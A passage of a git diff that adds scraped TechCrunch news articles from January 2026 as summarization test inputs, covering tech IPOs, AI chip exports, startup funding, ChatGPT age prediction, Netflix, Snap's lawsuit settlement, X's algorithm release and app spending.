and be among the first 500 registrants to get 50% off your +1 pass. TechCrunch Disrupt brings top leaders from Google Cloud, Netflix, Microsoft, Box, a16z, Hugging Face, and more to 250+ sessions designed to fuel growth and sharpen your edge. Connect with hundreds of innovative startups and join curated networking that drives deals, insights, and inspiration. San Francisco | October 13-15, 2026 REGISTER NOW Founded in 2008 by Subramanian, Srividhya Srinivasan, and Arunachalam Srinivasan Karapattu, Amagi counts content companies such as Lionsgate Studios, Fox, and Sinclair Broadcast Group among its clients, as well as distributors including Roku, Vizio, Rakuten TV, and DirecTV, and advertising platforms such as The Trade Desk and Index Exchange. Subramanian said Amagi is riding a shift as broadcasters and streamers move away from “big iron” hardware and satellite-based workflows toward cloud-based operations, arguing that only a small portion of the industry has completed the transition so far. The company has also begun pitching new automation and AI-driven tools to help media companies cut labor-heavy operating costs, he said. The company’s revenue from operations rose 34.6% year-over-year to ₹7.05 billion (around $77.18 million) in the six months ended September 30, 2025, while net revenue retention was about 127% — meaning existing customers increased their spending by 27%, per its prospectus (PDF). Amagi is betting that broadcast and live video are still in the early stages of moving to the cloud, Subramanian told TechCrunch, estimating that less than 10% of the industry has made the shift, leaving a long runway as media groups modernise infrastructure and expand ad-supported streaming. The company’s appeal lies in being a “premium” and highly reliable platform for blue-chip customers, said Rachit Parekh, a partner at Accel, arguing that downtime during major live events can be highly costly for broadcasters and streamers. This dynamic has helped drive high customer retention and expansion. Nonetheless, Amagi is also competing against legacy broadcast vendors that are racing to modernize their own offerings for the cloud, while its push into AI-driven automation will test whether Amagi can expand beyond infrastructure into software with better profit margins without rising cloud costs eating into profitability. Amagi said it plans to plow most of the fresh proceeds into technology and cloud infrastructure, allocating ₹5.50 billion ($60.21 million) for that purpose, while also setting aside funds for potential acquisitions and general corporate use, per its prospectus. Amagi’s debut comes as India’s IPO market has drawn a rising number of technology-led listings, supported by strong domestic investor demand even as late-stage startup funding remains subdued. The shift has positioned public markets as both a growth-financing option and a path to exits for early backers, a dynamic that has become more visible as private capital has turned more selective. India’s tech sector recorded 42 IPOs in 2025, up from 36 in 2024, per market intelligence firm Tracxn. Several venture-backed startups, including consumer and fintech firms, are also widely expected to test public markets in 2026 as the pipeline builds. +============== diff --git a/tests/summarization/https___techcrunch.com_2026_01_20_anthropics-ceo-stuns-davos-with-nvidia-criticism_.txt b/tests/summarization/https___techcrunch.com_2026_01_20_anthropics-ceo-stuns-davos-with-nvidia-criticism_.txt new file mode 100644 index 0000000..8fa91c0 --- /dev/null +++ b/tests/summarization/https___techcrunch.com_2026_01_20_anthropics-ceo-stuns-davos-with-nvidia-criticism_.txt @@ -0,0 +1,2 @@ +Last week, after reversing an earlier ban, the U.S. administration officially approved the sale of Nvidia’s H200 chips, along with a chip line by AMD, to approved Chinese customers. Maybe they aren’t these chipmakers’ shiniest, most advanced chips, but they’re high-performance processors used for AI, making the export controversial. And at the World Economic Forum in Davos on Tuesday, Anthropic CEO Dario Amodei unloaded on both the administration and the chip companies over the decision. The criticism was particularly notable because one of those chipmakers, Nvidia, is a major partner and investor in Anthropic. “The CEOs of these companies say, ‘It’s the embargo on chips that’s holding us back,’” Amodei said, incredulous, in response to a question about the new rules. The decision is going to come back to bite the U.S., he warned. “We are many years ahead of China in terms of our ability to make chips,” he told Bloomberg’s editor-in-chief, who was interviewing him. “So I think it would be a big mistake to ship these chips.” Amodei then painted an alarming picture of what’s at stake. He talked about the “incredible national security implications” of AI models that represent “essentially cognition, that are essentially intelligence.” He likened future AI to a “country of geniuses in a data center,” saying to imagine “100 million people smarter than any Nobel Prize winner,” all under the control of one country or another. The image underscored why he thinks chip exports matter so much. But then came the biggest blow. “I think this is crazy,” Amodei said of the administration’s latest move. “It’s a bit like selling nuclear weapons to North Korea and [bragging that] Boeing made the casings.” That sound you hear? The team at Nvidia, screaming into their phones. Nvidia isn’t just another chip company. While Anthropic runs on the servers of Microsoft and Amazon and Google, Nvidia alone supplies the GPUs that power Anthropic’s AI models (every cloud provider needs Nvidia’s GPUs). Not only does Nvidia sit at the center of everything, but it also recently announced it was investing in Anthropic to the tune of up to $10 billion. Techcrunch event Disrupt 2026 Tickets: One-time offer Tickets are live! Save up to $680 while these rates last, and be among the first 500 registrants to get 50% off your +1 pass. TechCrunch Disrupt brings top leaders from Google Cloud, Netflix, Microsoft, Box, a16z, Hugging Face, and more to 250+ sessions designed to fuel growth and sharpen your edge. Connect with hundreds of innovative startups and join curated networking that drives deals, insights, and inspiration. Disrupt 2026 Tickets: One-time offer Tickets are live! Save up to $680 while these rates last, and be among the first 500 registrants to get 50% off your +1 pass. TechCrunch Disrupt brings top leaders from Google Cloud, Netflix, Microsoft, Box, a16z, Hugging Face, and more to 250+ sessions designed to fuel growth and sharpen your edge. Connect with hundreds of innovative startups and join curated networking that drives deals, insights, and inspiration. San Francisco | October 13-15, 2026 REGISTER NOW Just two months ago, the companies announced that financial relationship, along with a “deep technology partnership” with cheery promises to optimize each other’s technology. Fast-forward to Davos, and Amodei is comparing his partner to an arms dealer. Maybe it was just an unguarded moment — it’s possible he got swept up in his own rhetoric and blurted out the analogy. But given Anthropic’s strong position in the AI market, it seems more likely he felt comfortable speaking with confidence. The company has raised billions, is valued in the hundreds of billions, and its Claude coding assistant has developed a reputation as a highly beloved and top-tier AI coding tool, particularly among developers working on complex, real-world projects. It’s also entirely possible that Anthropic genuinely fears Chinese AI labs and wants Washington to act. If you want to get someone’s attention, nuclear proliferation comparisons are probably a pretty effective way to do it. But what’s perhaps most remarkable is that Amodei could sit onstage at Davos, drop a bomb like that, and walk away to some other gathering without fear that he just adversely impacted his business. News cycles move on, sure. Anthropic is also on solid footing right now. But it does feel that the AI race has grown so existential in the minds of its leaders that the usual constraints — investor relations, strategic partnerships, diplomatic niceties — don’t apply anymore. Amodei isn’t concerned about what he can and can’t say. More than anything else he said on that stage, that fearlessness is worth paying attention to. +============== diff --git a/tests/summarization/https___techcrunch.com_2026_01_20_bolna-nabs-6-3-million-from-general-catalyst-for-its-india-focused-voice-orchestration-platform_.txt b/tests/summarization/https___techcrunch.com_2026_01_20_bolna-nabs-6-3-million-from-general-catalyst-for-its-india-focused-voice-orchestration-platform_.txt new file mode 100644 index 0000000..26569fc --- /dev/null +++ b/tests/summarization/https___techcrunch.com_2026_01_20_bolna-nabs-6-3-million-from-general-catalyst-for-its-india-focused-voice-orchestration-platform_.txt @@ -0,0 +1,2 @@ +Industry reports and the growth of voice model companies in the Indian market suggest that there is a growing demand for voice AI solutions in the country. Voice is a popular medium for communication among people and businesses in India. That’s why enterprises and startups are eager to use voice AI to be more efficient at customer support, sales, customer acquisition, hiring, and training. But recognizing market demand is one thing — proving businesses will pay is another. Y Combinator rejected the application from Bolna, a voice orchestration startup built by Maitreya Wagh and Prateek Sachan, five times before finally accepting it into the fall 2025 batch, skeptical that the founders could turn interest into revenue. “When we were applying for Y Combinator, the feedback we got was, ‘great to see that you have a product that can create realistic voice agents, but Indian enterprises are not going to pay, and you are not going to make money out of this,’” Wagh told TechCrunch. The startup applied with the same idea for the fall batch but was able to show it had revenue of more than $25,000 coming in every month for the last few months. At that time, the company was running $100 pilots to help users build voice agents. Now the startup is pricing those pilots at $500. The momentum has continued. The startup said on Tuesday that it has raised a $6.3 million seed round led by General Catalyst, with participation from Y Combinator, Blume Ventures, Orange Collective, Pioneer Fund, Transpose Capital, and Eight Capital. The round also includes individual investors, including Aarthi Ramamurthy, Arpan Sheth, Sriwatsan Krishnan, Ravi Iyer, and Taro Fukuyama. The product and customers Bolna is building an orchestration layer — essentially a platform that connects and manages different AI voice technologies — akin to startups like Vapi, LiveKit, and VoiceRun, to suit the idiosyncrasies of interactions in India, including noise cancellation, getting verification on the caller ID platform Truecaller, and handling mixed languages. Feature-wise, the company has built specific nuances for Indian users, such as speaking numbers in English regardless of the core language, or allowing for keypad input for longer inputs. Techcrunch event Disrupt 2026 Tickets: One-time offer Tickets are live! Save up to $680 while these rates last, and be among the first 500 registrants to get 50% off your +1 pass. TechCrunch Disrupt brings top leaders from Google Cloud, Netflix, Microsoft, Box, a16z, Hugging Face, and more to 250+ sessions designed to fuel growth and sharpen your edge. Connect with hundreds of innovative startups and join curated networking that drives deals, insights, and inspiration. Disrupt 2026 Tickets: One-time offer Tickets are live! Save up to $680 while these rates last, and be among the first 500 registrants to get 50% off your +1 pass. TechCrunch Disrupt brings top leaders from Google Cloud, Netflix, Microsoft, Box, a16z, Hugging Face, and more to 250+ sessions designed to fuel growth and sharpen your edge. Connect with hundreds of innovative startups and join curated networking that drives deals, insights, and inspiration. San Francisco | October 13-15, 2026 REGISTER NOW Image Credits:Bolna Wagh noted that the key differentiation of Bolna is that it makes it easy for users to build voice agents by just describing them, even if they don’t know much about the underlying technology, and start using them for calls. The company said that 75% of its revenue is coming from self-serve customers. He also said that because Bolna is an orchestration layer, it doesn’t depend on a single model, so enterprises can easily switch when there is a better model available. “Our platform allows customers to switch models easily or even use different models for different locales to get the best out of them. An orchestration layer is necessary for enterprises to ensure they are getting the best models because one model can be better today and another one can be better tomorrow,” Wagh said. The company has a range of clients, including car reselling platform Spinny, on-demand house-help startup Snabbit, beverage companies, and dating apps. Most of these are small to midsize businesses that use Bolna’s self-serve platform. Separately, Bolna is pursuing large enterprise deals. For these large enterprises and custom implementations, Bolna has a team of forward-deployed engineers — specialists who work directly with clients on-site or closely with their teams. The startup has signed two large enterprises as paying customers and has four more in the pilot stage. Currently, Bolna employs nine forward-deployed engineers and is adding two to three people to that team every month to support this enterprise push. Bolna has seen steady growth in both call volumes and revenue. It say it’s now handling over 200,000 calls per day and on the verge of crossing $700,000 in annual recurring revenue (ARR). The company noted that while 60% to 70% of call volume is in English or Hindi, other regional languages are steadily rising. Akarsh Shrivastava, who is part of the investment team at General Catalyst, said that the firm found Bolna impressive because its orchestration layer is flexible for various kinds of customers. “Bolna allows you the freedom to choose any model and has a stack behind it to mold it according to your requirement. It’s a good option for people who want to own some part of the stack, want flexibility in model picking, and want to be able to maintain those products themselves,” Shrivastava told TechCrunch over a call. +============== diff --git a/tests/summarization/https___techcrunch.com_2026_01_20_elon-musk-says-teslas-restarted-dojo3-will-be-for-space-based-ai-compute_.txt b/tests/summarization/https___techcrunch.com_2026_01_20_elon-musk-says-teslas-restarted-dojo3-will-be-for-space-based-ai-compute_.txt new file mode 100644 index 0000000..cdf6cc9 --- /dev/null +++ b/tests/summarization/https___techcrunch.com_2026_01_20_elon-musk-says-teslas-restarted-dojo3-will-be-for-space-based-ai-compute_.txt @@ -0,0 +1,2 @@ +Elon Musk said over the long weekend that Tesla aims to restart work on Dojo3, the electric vehicle company’s previously abandoned third-generation AI chip. Only this time, Dojo3 won’t be aimed at training self-driving models on Earth. Instead, Musk says it will be dedicated to “space-based AI compute.” The move comes five months after Tesla effectively shut down its Dojo effort. The company disbanded the team behind its Dojo supercomputer following the departure of Dojo lead Peter Bannon. Around 20 Dojo workers also left to join DensityAI, a new AI infrastructure startup founded by former Dojo head Ganesh Venkataramanan and ex-Tesla employees Bill Chang and Ben Floering. At the time of Dojo’s shutdown, Bloomberg reported Tesla planned to increase its reliance on Nvidia and other partners like AMD for compute and Samsung for chip manufacturing, rather than continue developing its own custom silicon. Musk’s latest comments suggest the strategy has shifted again. The billionaire executive and Republican megadonor said in a post on X the decision to revive Dojo was based on the state of its in-house chip roadmap, noting that Tesla’s AI5 chip design was “in good shape.” Tesla’s AI5 chip, made by TSMC, was designed to power the automaker’s automated driving features and Optimus humanoid robots. Last summer, Tesla signed a $16.5 billion deal with Samsung to build its AI6 chips that promise to power Tesla vehicles and Optimus, as well as enable high-performance AI training in data centers. “AI7/Dojo3 will be for space-based AI compute,” Musk said on Sunday, positioning the resurrected project as more of a moonshot. To achieve that, Tesla is now gearing up to rebuild the team it dismantled months ago. Musk used the same post to recruit engineers directly, writing: “If you’re interested in working on what will be the highest volume chips in the world, send a note to AI_Chips@Tesla.com with 3 bullet points on the toughest technical problems you’ve solved.” Techcrunch event Disrupt 2026 Tickets: One-time offer Tickets are live! Save up to $680 while these rates last, and be among the first 500 registrants to get 50% off your +1 pass. TechCrunch Disrupt brings top leaders from Google Cloud, Netflix, Microsoft, Box, a16z, Hugging Face, and more to 250+ sessions designed to fuel growth and sharpen your edge. Connect with hundreds of innovative startups and join curated networking that drives deals, insights, and inspiration. Disrupt 2026 Tickets: One-time offer Tickets are live! Save up to $680 while these rates last, and be among the first 500 registrants to get 50% off your +1 pass. TechCrunch Disrupt brings top leaders from Google Cloud, Netflix, Microsoft, Box, a16z, Hugging Face, and more to 250+ sessions designed to fuel growth and sharpen your edge. Connect with hundreds of innovative startups and join curated networking that drives deals, insights, and inspiration. San Francisco | October 13-15, 2026 REGISTER NOW The timing of the announcement is notable. At CES 2026, Nvidia unveiled Alpamayo, an open source AI model for autonomous driving that directly challenges Tesla’s FSD software. Musk commented on X that solving the long tail of rare edge cases in driving is “super hard,” adding: “I honestly hope they succeed.” Musk and several other AI executives have argued the future of data centers may lie off-planet, since Earth’s power grids are already strained to the max. Axios recently reported Musk rival and OpenAI CEO Sam Altman is also excited by the prospect of putting data centers into orbit. Musk has an edge over his peers because he already controls the launch vehicles. Per Axios, Musk plans to use SpaceX’s upcoming IPO to help finance his vision of using Starship to launch a constellation of compute satellites that can operate in constant sunlight, harvesting solar power 24/7. Still, there are many roadblocks to making AI data centers in space a possibility, not least the challenge of cooling high-power compute in a vacuum. Musk’s comments of Tesla building “space-based AI compute” fit a familiar pattern: float an idea that sounds far-fetched, then try to brute-force it into reality. +============== diff --git a/tests/summarization/https___techcrunch.com_2026_01_20_in-an-effort-to-protect-young-users-chatgpt-will-now-predict-how-old-you-are_.txt b/tests/summarization/https___techcrunch.com_2026_01_20_in-an-effort-to-protect-young-users-chatgpt-will-now-predict-how-old-you-are_.txt new file mode 100644 index 0000000..c7bbfa2 --- /dev/null +++ b/tests/summarization/https___techcrunch.com_2026_01_20_in-an-effort-to-protect-young-users-chatgpt-will-now-predict-how-old-you-are_.txt @@ -0,0 +1,2 @@ +As concern for AI’s impact on young people continues to mount, OpenAI has introduced an “age prediction” feature into ChatGPT that is designed to help identify minors and put sensible content constraints on their conversations. OpenAI has been heavily criticized in recent years for the impacts that ChatGPT can have on children. A number of teen suicides have been linked to the chatbot, and, like other AI vendors, OpenAI has also been criticized for allowing ChatGPT to discuss sexual topics with young users. Last April, the company was forced to address a bug that allowed its chatbot to generate erotica for users who were under the age of 18. The company has already been working on its underage user problem for some time, and its new “age prediction” feature merely adds to protections already in place. The new feature leverages an AI algorithm that assesses user accounts for particular “behavioral and account-level signals,” in an effort to identify young users, OpenAI said in a blog post Tuesday. Those “signals” include things like the user’s stated age, the length of time an account has existed, and the times of day that the account is usually active, the company said. The company already has content filters designed to weed out discussions of sex, violence, and other potentially problematic topics for users who are under age 18. If the age prediction mechanism identifies an account as under 18, those filters are automatically applied. If a user is mistakenly designated as underage, there is a way for them to reestablish their “adult” account. They can submit a selfie to OpenAI’s ID verification partner Persona, OpenAI says. +============== diff --git a/tests/summarization/https___techcrunch.com_2026_01_20_netflix-to-redesign-its-app-as-it-competes-with-social-platforms-for-daily-engagement_.txt b/tests/summarization/https___techcrunch.com_2026_01_20_netflix-to-redesign-its-app-as-it-competes-with-social-platforms-for-daily-engagement_.txt new file mode 100644 index 0000000..241250c --- /dev/null +++ b/tests/summarization/https___techcrunch.com_2026_01_20_netflix-to-redesign-its-app-as-it-competes-with-social-platforms-for-daily-engagement_.txt @@ -0,0 +1,2 @@ +As YouTube, TikTok, and Instagram continue to dominate mobile viewing, Netflix is rethinking how its app fits into a social-first video landscape. During its fourth-quarter earnings call on Tuesday, the company announced plans to revamp its mobile app and expand its short-form video feature, which it mentions could help promote the new slate of original video podcasts it unveiled last week. Set to launch later in 2026, Netflix’s redesigned mobile app is intended to “better serve the expansion of our business over the decade to come,” according to co-CEO Greg Peters. The update will act as a foundation for ongoing experimentation, allowing the company to “iterate, test, evolve, and improve” its offering over time. At the center of the redesign is deeper integration of vertical video feeds, which the streaming giant has been experimenting with since May. The feed displays short clips from Netflix shows and movies in a format familiar to TikTok and Instagram Reels users. “You can imagine us bringing more clips based on new content types, like video podcasts,” Peters remarked during the earnings call, further signaling that Netflix sees swipeable short-form clips as a powerful tool for capturing attention and increasing time spent in the app. Netflix is also making a significant push into video podcasts — a sector where YouTube has long been the leader. This week, Netflix debuted its first original video podcasts, including shows hosted by high-profile personalities such as Pete Davidson and Michael Irvin. The company has also partnered with major podcast players to bring established video podcast libraries to the platform, including tie-ups with Spotify and iHeartMedia. Both of these moves signal a broader effort to make content discovery and daily engagement on Netflix feel more like a social platform experience. At the same time, Netflix has been careful to position its strategy as experimentation rather than imitation. Speaking at the TechCrunch Disrupt 2025 conference, CTO Elizabeth Stone emphasized that the company isn’t trying to become TikTok, but rather to strengthen its entertainment discovery capabilities through mobile-first features. During the earnings call, co-CEO Ted Sarandos reflected on the wider shift in the streaming industry: services are no longer competing only with one another, but with the entire entertainment industry. Techcrunch event Disrupt 2026 Tickets: One-time offer Tickets are live! Save up to $680 while these rates last, and be among the first 500 registrants to get 50% off your +1 pass. TechCrunch Disrupt brings top leaders from Google Cloud, Netflix, Microsoft, Box, a16z, Hugging Face, and more to 250+ sessions designed to fuel growth and sharpen your edge. Connect with hundreds of innovative startups and join curated networking that drives deals, insights, and inspiration. Disrupt 2026 Tickets: One-time offer Tickets are live! Save up to $680 while these rates last, and be among the first 500 registrants to get 50% off your +1 pass. TechCrunch Disrupt brings top leaders from Google Cloud, Netflix, Microsoft, Box, a16z, Hugging Face, and more to 250+ sessions designed to fuel growth and sharpen your edge. Connect with hundreds of innovative startups and join curated networking that drives deals, insights, and inspiration. San Francisco | October 13-15, 2026 REGISTER NOW “There’s never been more competition for creators, for consumer attention, for advertising and subscription dollars, the competitive lines around TV consumption are already blurring,” Sarandos said. “TV is not what we grew up on. TV is now just about everything. The Oscars and the NFL are on YouTube…Apple’s competing for Emmys and Oscars, and Instagram is coming next.” Sarandos also commented on Netflix’s evolving film strategy, referencing the company’s recent shift in its theatrical release strategy as it prepares to acquire Warner Bros. This signals an openness to hybrid distribution models, as the line between cinema, streaming, and social content continues to blur. In 2025, Netflix delivered $45.2 billion in revenue, with ad revenue rising to over $1.5 billion. Additionally, Netflix crossed the 325 million paid subscriptions milestone in the fourth quarter. +============== diff --git a/tests/summarization/https___techcrunch.com_2026_01_20_one-time-hot-insurance-tech-ethos-poised-to-be-first-tech-ipo-of-the-year_.txt b/tests/summarization/https___techcrunch.com_2026_01_20_one-time-hot-insurance-tech-ethos-poised-to-be-first-tech-ipo-of-the-year_.txt new file mode 100644 index 0000000..e1630ca --- /dev/null +++ b/tests/summarization/https___techcrunch.com_2026_01_20_one-time-hot-insurance-tech-ethos-poised-to-be-first-tech-ipo-of-the-year_.txt @@ -0,0 +1,2 @@ +Ethos Technologies has priced its initial public offering and the expectation is that it will go public on Thursday, making it one of the first tech IPOs of the year. If it lands in its current price range of $18 to $20 a share, it will enter the day valued at $1.26 billion on the high end — raising $102.6 million for itself and about $108 million for its selling shareholders. Should investor interest be high, it could wind up pricing higher. That means a bigger valuation and more money raised. The company, which offers software to sell life insurance, is backed by Sequoia, Accel, Alphabet’s venture capital arm GV, SoftBank, General Catalyst, and Heroic Ventures. Sequoia and Accel are not selling shares in the IPO, the company disclosed. Ethos was a rising startup star in the pre-AI era, raising one big round after another through 2021. In its early rounds, it was backed by a who’s who of family offices, including those of Will Smith, Robert Downey Jr., Kevin Durant, and Jay-Z, the company told TechCrunch in 2018. It hit a $2.7 billion valuation in 2021 having raised $400 million by then, most of it that year. It completed only very small fundraises after that, PitchBook estimates. Ethos is profitable and has been for years, its IPO documents disclose. In the nine months ending September 30, Ethos generated almost $278 million in revenue and just under $46.6 million in net income. +============== diff --git a/tests/summarization/https___techcrunch.com_2026_01_20_snap-reaches-settlement-in-social-media-addiction-lawsuit_.txt b/tests/summarization/https___techcrunch.com_2026_01_20_snap-reaches-settlement-in-social-media-addiction-lawsuit_.txt new file mode 100644 index 0000000..c51e250 --- /dev/null +++ b/tests/summarization/https___techcrunch.com_2026_01_20_snap-reaches-settlement-in-social-media-addiction-lawsuit_.txt @@ -0,0 +1,2 @@ +Days ahead of a scheduled trial, social media company Snap has settled a lawsuit accusing the platform of causing social media addiction, according to reports from multiple outlets. According to the New York Times, the settlement was announced Tuesday in the California Superior Court in Los Angeles County. The lawsuit against Snap was brought by a 19-year-old known in court documents as K.G.M., accusing the social media app of designing algorithms and features that caused addiction and mental health issues. The terms of the settlement were not disclosed. The lawsuit also names other platforms, including Meta, YouTube, and TikTok. No settlement has been reached with these platforms. Notably, Snap is still a defendant in other similar social media addiction cases filed against it. According to documents unveiled in the ongoing cases, Snap employees raised concerns around risks to the mental health of teens dating back at least nine years. The company has said these examples were “cherry-picked” and were taken out of context. Plaintiffs in these cases are drawing parallels to Big Tobacco — referring to lawsuits in the 1990s against cigarette companies that concealed health risks — alleging that the platforms obscured information about potential harms from their users. They argue that features like infinite scroll, auto video play and algorithmic recommendations have tricked users into continuously using apps, leading to depression, eating disorders, and self-harm, according to NYT. Snap CEO Evan Spiegel had been scheduled to testify in the trial, which would have marked the first time a social media company faces a jury in an addiction lawsuit — no platform has lost such a case at trial yet. The remaining case against Meta, TikTok, and YouTube is set to proceed with jury selection beginning next Monday, January 27, with Meta CEO Mark Zuckerberg expected to take the witness stand. Techcrunch event Disrupt 2026 Tickets: One-time offer Tickets are live! Save up to $680 while these rates last, and be among the first 500 registrants to get 50% off your +1 pass. TechCrunch Disrupt brings top leaders from Google Cloud, Netflix, Microsoft, Box, a16z, Hugging Face, and more to 250+ sessions designed to fuel growth and sharpen your edge. Connect with hundreds of innovative startups and join curated networking that drives deals, insights, and inspiration. Disrupt 2026 Tickets: One-time offer Tickets are live! Save up to $680 while these rates last, and be among the first 500 registrants to get 50% off your +1 pass. TechCrunch Disrupt brings top leaders from Google Cloud, Netflix, Microsoft, Box, a16z, Hugging Face, and more to 250+ sessions designed to fuel growth and sharpen your edge. Connect with hundreds of innovative startups and join curated networking that drives deals, insights, and inspiration. San Francisco | October 13-15, 2026 REGISTER NOW If plaintiffs prevail, legal experts predict the cases could result in multibillion-dollar settlements and potentially force platforms to redesign their products. But the companies have so far defended themselves in part by arguing that those same design choices — like algorithmic recommendations, push notifications, and infinite scroll — are similar to a newspaper deciding what stories to publish and are protected speech under the First Amendment. Snap did not immediately respond to a request for comment. +============== diff --git a/tests/summarization/https___techcrunch.com_2026_01_20_x-open-sources-its-algorithm-while-facing-a-transparency-fine-and-grok-controversies_.txt b/tests/summarization/https___techcrunch.com_2026_01_20_x-open-sources-its-algorithm-while-facing-a-transparency-fine-and-grok-controversies_.txt new file mode 100644 index 0000000..c05263a --- /dev/null +++ b/tests/summarization/https___techcrunch.com_2026_01_20_x-open-sources-its-algorithm-while-facing-a-transparency-fine-and-grok-controversies_.txt @@ -0,0 +1,2 @@ +In 2023, the website then known as Twitter partially open sourced its algorithm for the first time. In those days, Tesla billionaire Elon Musk had only recently acquired the platform, and he claimed to be on a mission to restructure the social media platform to make it more transparent. However, the algorithm’s code release was swiftly critiqued for being “transparency theater,” with critics noting that it was “incomplete,” and that it didn’t reveal much about the inner workings of the organization, or why the code worked the way that it did. Now the site (rebranded as X) has open sourced its algorithm again, fulfilling a promise made by Musk last week. “We will make the new 𝕏 algorithm, including all code used to determine what organic and advertising posts are recommended to users, open source in 7 days,” he’d said. Musk also promised to provide transparency into the algorithm every four weeks for the foreseeable future. In a post on GitHub on Tuesday, X provided an accessible write-up about its feed-generating code, along with a diagram of how the program works. What has been revealed isn’t particularly earth-shattering — but it does provide a peek behind the algorithmic curtain. The diagram shows that, when sifting about for content to feed a particular user, the site’s algorithm considers their engagement history (what posts they’ve clicked on, etc.) and surveys recent in-network posts. It also conducts a machine-learning-based analysis of “out-of-network” posts — as in, content from accounts that the user doesn’t necessarily follow — that it believes the user might also find appealing. Image Credits:Screenshot The algorithm then filters out certain kinds of posts, including ones that come from blocked accounts or that are associated with muted keywords, as well as content that has been deemed too violent or spam-like. The algorithm then ranks this content based on what it thinks the user will find most appealing. This process considers factors like relevance and content diversity so users don’t just get a bunch of posts that are all alike. The algorithm also considers content according to the likelihood that the user will like it, reply to it, repost it, favorite it, or otherwise engage with it in some way. Image Credits:Screenshot This whole system is AI-based, according to X. The GitHub write-up released Tuesday notes that the system “relies entirely” on the company’s “Grok-based transformer” to “learn relevance from user engagement sequences.” In other words, Grok is looking at what you’re clicking and liking and feeding that information into the recommendation system. The write-up also notes that there is no “manual feature engineering for content relevance,” meaning humans don’t manually adjust how the algorithm determines what’s relevant. It adds that the automation “significantly reduces the complexity in our data pipelines and serving infrastructure.” Techcrunch event Disrupt 2026 Tickets: One-time offer Tickets are live! Save up to $680 while these rates last, and be among the first 500 registrants to get 50% off your +1 pass. TechCrunch Disrupt brings top leaders from Google Cloud, Netflix, Microsoft, Box, a16z, Hugging Face, and more to 250+ sessions designed to fuel growth and sharpen your edge. Connect with hundreds of innovative startups and join curated networking that drives deals, insights, and inspiration. Disrupt 2026 Tickets: One-time offer Tickets are live! Save up to $680 while these rates last, and be among the first 500 registrants to get 50% off your +1 pass. TechCrunch Disrupt brings top leaders from Google Cloud, Netflix, Microsoft, Box, a16z, Hugging Face, and more to 250+ sessions designed to fuel growth and sharpen your edge. Connect with hundreds of innovative startups and join curated networking that drives deals, insights, and inspiration. San Francisco | October 13-15, 2026 REGISTER NOW Why is X revealing all of this now? It’s not totally clear. In the past, Musk has claimed that he wants to make the platform an exemplar of corporate transparency — a theme that continues to today. In 2023, when the Twitter algorithm was first revealed, Musk said that providing “code transparency” would be “incredibly embarrassing at first” but would ultimately “lead to rapid improvement in recommendation quality.” He added: “Most importantly, we hope to earn your trust.” With its first code open sourcing, the platform proclaimed a “new era of transparency” for Twitter. Though Musk has talked transparency, certain aspects of the platform have arguably grown less open since Musk took it over. When the tech billionaire bought Twitter in 2022, the site was notably forced to transition from a public company to a private one — an evolution that isn’t typically synonymous with openness. While the site used to release multiple transparency reports a year, X didn’t release its first transparency report until September of 2024. In December, X was also fined $140 million by European Union regulators who claimed that the site had violated “transparency obligations” under the Digital Services Act (DSA), and argued that the site’s verification check mark system had made it more difficult for users to judge the authenticity of particular accounts. X has also been under pressure over the past month due to the ways in which its chatbot, Grok, have been used to create and distribute sexualized content. The California Attorney General’s office and congressional lawmakers have both scrutinized the platform in recent weeks, citing claims that Grok has been used to create naked images of women and minors. As a result, some may view this appeal to openness as just more theater. +============== diff --git a/tests/summarization/https___techcrunch.com_2026_01_21_consumers-spent-more-on-mobile-apps-than-games-in-2025-driven-by-ai-app-adoption_.txt b/tests/summarization/https___techcrunch.com_2026_01_21_consumers-spent-more-on-mobile-apps-than-games-in-2025-driven-by-ai-app-adoption_.txt new file mode 100644 index 0000000..91030e7 --- /dev/null +++ b/tests/summarization/https___techcrunch.com_2026_01_21_consumers-spent-more-on-mobile-apps-than-games-in-2025-driven-by-ai-app-adoption_.txt @@ -0,0 +1,2 @@ +In 2025, consumers spent more money on non-game mobile apps than they did on games for the first time, according to the findings from market intelligence firm Sensor Tower’s annual “State of Mobile” report. While this milestone had been seen in particular markets, like the U.S., or during certain quarters, 2025 marked the first time it occurred globally. Worldwide, consumers spent approximately $85 billion on apps last year, representing a 21% year-over-year increase. The figure was also nearly 2.8x the amount spent just five years ago. Image Credits:Sensor Tower Generative AI, a defining trend over the past year, led the revenue growth, as in-app purchase revenue in this category more than tripled to top $5 billion in 2025. Downloads of AI apps also grew, doubling year-over-year to reach 3.8 billion. Image Credits:Sensor Tower The segment’s growth can be attributed to several factors. For one, the popularity of AI assistants among consumers was a large driver, with all of the top 10 apps by downloads being AI assistants. This group was led by OpenAI’s ChatGPT, Google Gemini, and DeepSeek. ChatGPT alone generated $3.4 billion in global in-app purchase (IAP) revenue — a figure that we reported on late last year. Image Credits:Sensor Tower In 2025, consumers spent 48 billion hours in generative AI apps, or 3.6x the total time spent in 2024 and 10x the level seen in 2023. Session volume, meaning the number of times users opened and used an app, topped one trillion in 2025. Of note, this figure was growing faster than downloads, suggesting that existing users were deepening their engagement faster than the apps were adding new users. Image Credits:Sensor Tower Another factor driving AI app revenue and adoption is that big tech companies like Google, Microsoft, and X have been heavily investing in their AI assistants to challenge ChatGPT. Over the past year, they’ve been rolling out new capabilities at a rapid pace, improving in areas like coding assistance, content generation, reasoning, task execution, accuracy, and more. The report specifically called out improvements in image and video generation, like ChatGPT’s GPT-4o image generation model released in March, and Google’s Nano Banana. Among the top AI publishers, OpenAI and DeepSeek accounted for nearly 50% of global downloads, up from 21% in 2024. Meanwhile, big tech publishers grew their share of the market from 14% to nearly 30% during this same time, crowding out earlier ChatGPT competitors like Nova, Codeway, and Chat Smith. Image Credits:Sensor Tower The report also highlighted the role that mobile plays in connecting users to generative AI services. Sensor Tower estimates that the total audience for AI assistants topped 200 million in the U.S. by year-end, and more than half (110M) were accessing the assistants exclusively on mobile devices. In 2024, for comparison, only around 13 million users were mobile-only. Techcrunch event Disrupt 2026 Tickets: One-time offer Tickets are live! Save up to $680 while these rates last, and be among the first 500 registrants to get 50% off your +1 pass. TechCrunch Disrupt brings top leaders from Google Cloud, Netflix, Microsoft, Box, a16z, Hugging Face, and more to 250+ sessions designed to fuel growth and sharpen your edge. Connect with hundreds of innovative startups and join curated networking that drives deals, insights, and inspiration. Disrupt 2026 Tickets: One-time offer Tickets are live! Save up to $680 while these rates last, and be among the first 500 registrants to get 50% off your +1 pass. TechCrunch Disrupt brings top leaders from Google Cloud, Netflix, Microsoft, Box, a16z, Hugging Face, and more to 250+ sessions designed to fuel growth and sharpen your edge. Connect with hundreds of innovative startups and join curated networking that drives deals, insights, and inspiration. San 